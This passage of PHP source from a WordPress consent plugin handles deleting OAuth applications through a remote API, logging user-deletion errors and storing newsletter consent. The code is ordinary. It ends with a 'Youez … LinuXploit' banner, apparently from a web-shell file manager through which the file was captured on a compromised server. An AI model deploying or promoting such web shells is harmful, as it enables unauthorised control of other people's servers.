					if (!$client_credentials['client_id'] || !$client_credentials['client_secret']) continue;

					$token = cmplz_wsc_auth::get_token(true, true, $client_credentials);
					if (!$token) {
						continue;
					}

					$request = wp_remote_request(cmplz_wsc_auth::WSC_ENDPOINT . '/api/lite/oauth_applications', array(
						'method' => 'DELETE',
						'headers' => array(
							'Content-Type' => 'application/json',
							'Authorization' => 'Bearer ' . $token,
						),
						'timeout' => 15,
						'sslverify' => true,
					));

					$response_code = wp_remote_retrieve_response_code($request);
					if ($response_code === 204) {
						// update the $failed_deletions array removing the current one
						$failed_deletion = array_filter($failed_deletion, function ($value) use ($client_credentials) {
							return $value !== $client_credentials;
						});
						update_option('cmplz_wsc_user_deletion_temp_credentials', $failed_deletion);
					}
				}
			}
		}


		/**
		 * Logs an error when a user deletion fails.
		 *
		 * @param string $option The option name to update.
		 * @param string $message The error message to log.
		 * @return void
		 */
		public function log_user_deletion_error(string $option, string $message): void
		{
			update_option($option, true, false);
			update_option($option . '_message', $message, false);
			update_option($option . '_timestamp', time(), false);
			if (WP_DEBUG) {
				error_log($message);
			}
		}

		/**
		 * Handles the newsletter onboarding consent.
		 *
		 * This static method is responsible for storing the consent given by the user
		 * during the onboarding process for the newsletter.
		 *
		 * @param string $type The type of consent being stored.
		 * @param array $posted_data The data associated with the consent.
		 * @return void
		 */
		public static function cmplz_store_newsletter_onboarding_consent_handler(string $type, array $posted_data): void
		{
			cmplz_wsc_auth::store_onboarding_consent($type, $posted_data);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit